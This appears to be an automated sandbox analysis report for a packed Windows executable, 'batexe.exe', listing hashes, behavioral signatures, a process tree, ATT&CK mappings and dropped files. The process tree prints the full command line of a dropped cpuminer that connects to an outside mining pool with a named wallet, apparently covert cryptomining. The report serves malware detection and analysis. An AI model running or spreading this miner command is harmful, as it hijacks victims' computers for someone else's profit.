73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72

Analysis

max time kernel
293s
max time network
300s
platform
windows10-1703_x64
resource
win10-20240221-ja
resource tags

arch:x64arch:x86image:win10-20240221-jalocale:ja-jpos:windows10-1703-x64systemwindows
submitted
23-02-2024 06:06

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General

Target

batexe.exe
Size

9.4MB
MD5

cdc9eacffc6d2bf43153815043064427
SHA1

d05101f265f6ea87e18793ab0071f5c99edf363f
SHA256

73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72
SHA512

fc6945957e160bf7059c936c329aae438e6c1521e5e43a8434f58058230d89e818eb6ff80331a4b952dbb600b8cc134ecba54e5641bf549723c98f85e993fde6
SSDEEP

196608:ERAefrn9wcsTRAJgwusnWpV3h9XxSeEGaT+TKkGzySdUkI56kBIyky:E5Tn9YVwdnWLXxkvLlzkuv

Score

7^/10

upx

Malware Config

Signatures

Executes dropped EXE 2 IoCs

pid	Process
3220	b2e.exe
3900	cpuminer-sse2.exe

Loads dropped DLL 5 IoCs

pid	Process
3900	cpuminer-sse2.exe
3900	cpuminer-sse2.exe
3900	cpuminer-sse2.exe
3900	cpuminer-sse2.exe
3900	cpuminer-sse2.exe

UPX packed file 1 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/memory/4124-5-0x0000000000400000-0x000000000393A000-memory.dmp	upx

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 4124 wrote to memory of 3220	4124	batexe.exe	75
PID 4124 wrote to memory of 3220	4124	batexe.exe	75
PID 4124 wrote to memory of 3220	4124	batexe.exe	75
PID 3220 wrote to memory of 3312	3220	b2e.exe	76
PID 3220 wrote to memory of 3312	3220	b2e.exe	76
PID 3220 wrote to memory of 3312	3220	b2e.exe	76
PID 3312 wrote to memory of 3900	3312	cmd.exe	79
PID 3312 wrote to memory of 3900	3312	cmd.exe	79

C:\Users\Admin\AppData\Local\Temp\batexe.exe
"C:\Users\Admin\AppData\Local\Temp\batexe.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:4124
- C:\Users\Admin\AppData\Local\Temp\E109.tmp\b2e.exe
  "C:\Users\Admin\AppData\Local\Temp\E109.tmp\b2e.exe" C:\Users\Admin\AppData\Local\Temp\E109.tmp\b2e.exe C:\Users\Admin\AppData\Local\Temp "C:\Users\Admin\AppData\Local\Temp\batexe.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:3220
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\E5BC.tmp\batchfile.bat" "
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3312
  - - C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe
      cpuminer-sse2.exe -a yespower -o stratum+tcp://yespower.sea.mine.zpool.ca:6234 --userpass=DJXKcu8iouhRppneQL9XbYQ9ovs87y4cYZ:c=doge -t 3
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      PID:3900

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\E109.tmp\b2e.exe

Filesize
7.0MB

MD5
f3bd8489d3793496d69af242489c7ddc

SHA1
db133fb317869b7ee3c642c8d68d1f0122a778c3

SHA256
6bface143d7725f192afd1c5907054b0e83ce01322be34a8a23f97a344bff201

SHA512
cc42fdccf418072102da04c4eae265d22aa126c2af2c5ce8a33bd89aa780cc3f9439f5d129d104c120ad69fe6805d5794b41392e8c2ea03df4ae6d9195445481

Download Submit
C:\Users\Admin\AppData\Local\Temp\E109.tmp\b2e.exe

Filesize
7.7MB

MD5
5686510951dd6a21de967e4aae5cdc50

SHA1
c085e1a4361e26919e8f82e04ba256e415396503

SHA256
85df9f70fe4ba1d12a9d5c4de57597263555c0a4e2c41a7aabfe270c2042b03e

SHA512
e0a1a86e1e11139fdc6e4366002ec1469d92f8cf52492ef9323d73d32011e6005b9b8c9e7d1824f5ebac39719cbb51169c5874f8dc223c1e08fce473b759d6df

Download Submit
C:\Users\Admin\AppData\Local\Temp\E5BC.tmp\batchfile.bat

Filesize
136B

MD5
8ea7ac72a10251ecfb42ef4a88bd330a

SHA1
c30f6af73a42c0cc89bd20fe95f9159d6f0756c5

SHA256
65e2674fc9b921a76deaf3740603359794c04e059e8937ab36eb931d65f40ec9

SHA512
a908979d588625aa24eb81238d07d88a56be5388e1265ebd2fe09889ed807aa9a4af77107e72a843c31acadbe06db0d7f6f6a3c95fb481a71e549e8eb74c2ff0

Download Submit
C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

Filesize
2.3MB

MD5
4c04147c386ba8792ac6a03069572a8a

SHA1
dda67789fc1d0f2469ca95f01a5c81034853ca6a

SHA256
c7739a1e940a282703d06eccda7110426d306f390e97fdbbd9df18472fd132cd

SHA512
a8b5a0b878a9a7d30cb38feff814e1f4dce24d000158edc10a43ee9a89920bedf7adc92eb7e3913098b6aab7fbd0531f56fc09f508b5c2769992a94e55d153db

Download Submit
C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

Filesize
2.0MB

MD5
c3d8cd8f8528fd7e6fd62c51fd1d9058

SHA1
94047a6308f2e3bc22aaf74d5ba5b15c438757a4

SHA256
80d1ee1f1ad59a18ea733f1cb2aca8ddce62d4104d4e9346be90055b9b95cf22

SHA512
fea1e9c4ccc27b987bed71bc85988574ca7b41cbd96468ce7f62fabc96b75d4a3d34d27615e598578047b959c9b233736786c5e3cfeeffb162de991709e751cf

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
4.5MB

MD5
29dae4bfd8891775aef4ffa90bd31d65

SHA1
1af60358dac9124e9d2c18d02c8b7b2bfce69f15

SHA256
6a4a76fffe776509731d0467c56f0bf6bf89ed04f61dd01773d65531b9b3e3a0

SHA512
ea4e55aad7f518dcb1bd225b72bdc40036b8da354d1129ac20c81144b9ce0334eff670019e2ab383d291be730dd9815cf3d5d264f9010e481b2310fb206523d1

Download Submit
\Users\Admin\AppData\Local\Temp\libcurl-4.dll

Filesize
836KB

MD5
aeab40ed9a8e627ea7cefc1f5cf9bf7a

SHA1
5e2e8ca2881b9bf9edfa3c4fdcec6da1efa102d8

SHA256
218cfc4073bab4eddf0de0804f96b204687311e20a9e97994bff54c9b0e01ee9

SHA512
c0a67616fa01fdc351015212a718faf70da6612fbb3ec13da28dd7af9a507c56882fb7c3eea6fbc37d4d63b970157199d16d0756dbe3cb3bc2223e215cb104d8

Download Submit
\Users\Admin\AppData\Local\Temp\libgcc_s_seh-1.dll

Filesize
1.2MB

MD5
7cf672bee2afba2dcd0c031ff985958e

SHA1
6b82a205db080ffdcb4a4470fce85a14413f3217

SHA256
c82f84171b9246d1cac261100b2199789c96c37b03b375f33b2c72afab060b05

SHA512
3e90d1c1efe0200cb3cc7b51d04783a3cce8391faa6ce554cff8b23dac60be9f8e4f980a8ac005fd9dff8ea4bdcb02311f7649c5be28eb32dcc26417fc4090e5

Download Submit
\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
5.3MB

MD5
1f48d910bce1c4855fcae81552876e77

SHA1
e5254fe45a65e3a84fd164e0cd8f994225a508e4

SHA256
a2dcc9775438ac81349615c5df7466d990ab4ce4c296bb91390e7660736ee7ad

SHA512
50aec245a6a6e048b52cd939642da1e9288b295ff5971dda3beaf5bfd451013664f555f5d738cb7a4000c562dc525024bb97431e87218dca81ae24b3ea80bcb5

Download Submit
\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
4.7MB

MD5
6701db559a29f5eead5025db0a8b82d8

SHA1
fa0ef2adda732ef8f88c6f07ba1b902228348ac3

SHA256
bd40addc3359888bf0fed4eabe6d2ed877d70ee38c17ae24629ff63951188c4d

SHA512
fe9fec9c7fd441b9144817e8c6b56c8feaa724139154d7d9d38d939132a5de557191d9f2bc06fb9842dbc32af0dc95849692aba02721a25d5a5f9d1ab4de3c05

Download Submit
\Users\Admin\AppData\Local\Temp\libwinpthread-1.dll

Filesize
606KB

MD5
585efec1bc1d4d916a4402c9875dff75

SHA1
d209613666ccac9d0ddab29a3bc59aa00a0968fa

SHA256
2f9984c591a5654434c53e8b4d0c5c187f1fd0bab95247d5c9bc1c0bd60e6232

SHA512
b93163cba4601ed999a7a7d1887113792e846c36850c6d84f2d505727dc06524bb959469f9df12928769f4535dc6074a6b3599b788a4844353e466742ce1e770

Download Submit
memory/3220-55-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/3220-4-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/3900-42-0x0000000061440000-0x000000006156B000-memory.dmp

Filesize
1.2MB

Download
memory/3900-71-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3900-41-0x0000000070800000-0x00000000708BC000-memory.dmp

Filesize
752KB

Download
memory/3900-43-0x0000000068BD0000-0x0000000068C68000-memory.dmp

Filesize
608KB

Download
memory/3900-44-0x0000000001140000-0x00000000029F5000-memory.dmp

Filesize
24.7MB

Download
memory/3900-45-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3900-50-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3900-101-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3900-56-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3900-61-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3900-40-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3900-76-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3900-81-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3900-91-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3900-96-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4124-5-0x0000000000400000-0x000000000393A000-memory.dmp

Filesize
53.2MB

Download